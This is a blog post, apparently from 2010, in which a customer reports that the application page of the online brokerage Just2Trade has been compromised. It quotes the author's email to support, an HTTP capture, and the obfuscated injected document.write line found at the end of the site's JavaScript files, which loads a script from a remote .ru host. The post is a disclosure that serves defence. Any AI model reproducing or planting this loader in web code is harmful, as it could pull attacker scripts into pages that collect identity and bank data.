When signing up with Just2Trade, an online brokerage, I observed that their site (which asks for a HUGE amount of personal data) was hacked and appeared to be pulling in a remote javascript from the application page (yes, the application page which asks you to enter in enough data for someone to steal your identity twice over). I contacted customer support with the following email, but it has been nearly one full business week and yet the issue persists! I would be EXTREMELY wary about trading with them, or giving them any sort of personal data, based on this.

If this isn’t resolved in some way or another by next week I’ll post it to Digg, but for now I’ll give them a bit more time to get their act together:

“Dear Just2Trade Support,

This is bad. I don’t know how else to say it. Properly remedying this issue is going to take a lot of cleanup, both technical and business-wise. Here goes:

While completing your application, which asks for quite a bit of personal information (more than enough for someone to steal my identity with), I opened Firebug and noticed a suspicious HTTP request to the following URL:

http://google-com-sg.pcauto.com.cn.google-at.truesoulonline.ru:8080/miniclip.com/miniclip.com/ganji.com/google.com/cnn.com/

Investigating this more, I opened up Wireshark and captured the HTTP stream:

GET /miniclip.com/miniclip.com/ganji.com/google.com/cnn.com/ HTTP/1.1
Host: google-com-sg.pcauto.com.cn.google-at.truesoulonline.ru:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jan 2010 04:32:41 GMT
Content-Type: text/javascript
Connection: close
X-Powered-By: PHP/5.1.6
Expires: 0
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Length: 15

/* nothing */

Going back to Firebug and trying to pinpoint the source of this request, it appears that every single one of the local Javascript files on the application pages has been compromised, since they all have this string at the end:

/*Exception*/ document.write(‘<script src=’+’h(!t!)t#@p(&:(&$/!/@^g@)&(^o!@o^#g)@l^e#-&)c!#o$m&$(-@s@^#g@!!.&@p$c@#^a$@u!)(!!t$@&)#o&&.@$$!c#^)$o$^m^@&)(.&!@c@)@(n@^#.#^g!^o@&#@#o#)g$l@@&e&^-^)a!!!#t#&.&t@#r$&!)u!(e$(((s$)^#o$)u$)#l!#&o&)n(l^$i&n#$@!e())@.@#)^r&u!:&^8#0$(#^!8$$#0@&@(/#^m)$)i^n!$i&^@c^!l^i#)p##.))$c^$o$m)$/(^!m$i((n^^$i)@c()#!l$)$!i(^p^)&.^(c@$$@o&^m(/$@g!#$a!#@n&)^#j^^$i&(.!c!^^&o(&)m#&(@/(!g(&o(#$o^$@g&)((@l^e#&.!$$c^@$o$m!!)^/$!c&n#^@n^^.))c(o($&m&#!&/$#’.replace(/&|\$|\)|\!|#|\(|@|\^/ig, ”)+’ defer=defer></scr’+’ipt>’);

(Which is writing out the reference to the script I mentioned above).

Now here’s the really disturbing thing: if you just go to the script (say sifr.js) directly in a browser, that code will not appear. The HTTP headers from an application page must be intact (and since they have personal data, I’m not posting mine; fill out the application yourself and test it). I thought this may have been some piece of malware on my own system at first, so I re-created those headers in wget just to be sure; they still appeared.

This is *very* bad for two reasons:

First, it means your server has been compromised. Just writing out some static Javascript could indicate a simple cross-site scripting scenario. But writing it out conditionally on a specific http header appearing is something that can only be done with access to server-side code.

Second, contained within the HTTP headers sent to your script are all of the fields submitted with the form. Yes, this includes driver’s license #, bank account information, SSN, address, phone number, work address, title, email… far more than would be necessary to steal someone’s identity. The ability to read the headers and conditionally take some action indicates that whoever hacked the site can read all of the data submitted to it.”

The problem is not so much that the script is doing anything – right now it’s doing /* nothing */, though this could be changed on the remote end – but that it is only being output in response to the proper HTTP headers. And on the application page (the only page, in fact, where the headers are “proper”), these headers include a great deal of personal information. A server-side script which can include a string contingent upon these headers being there can also capture them directly.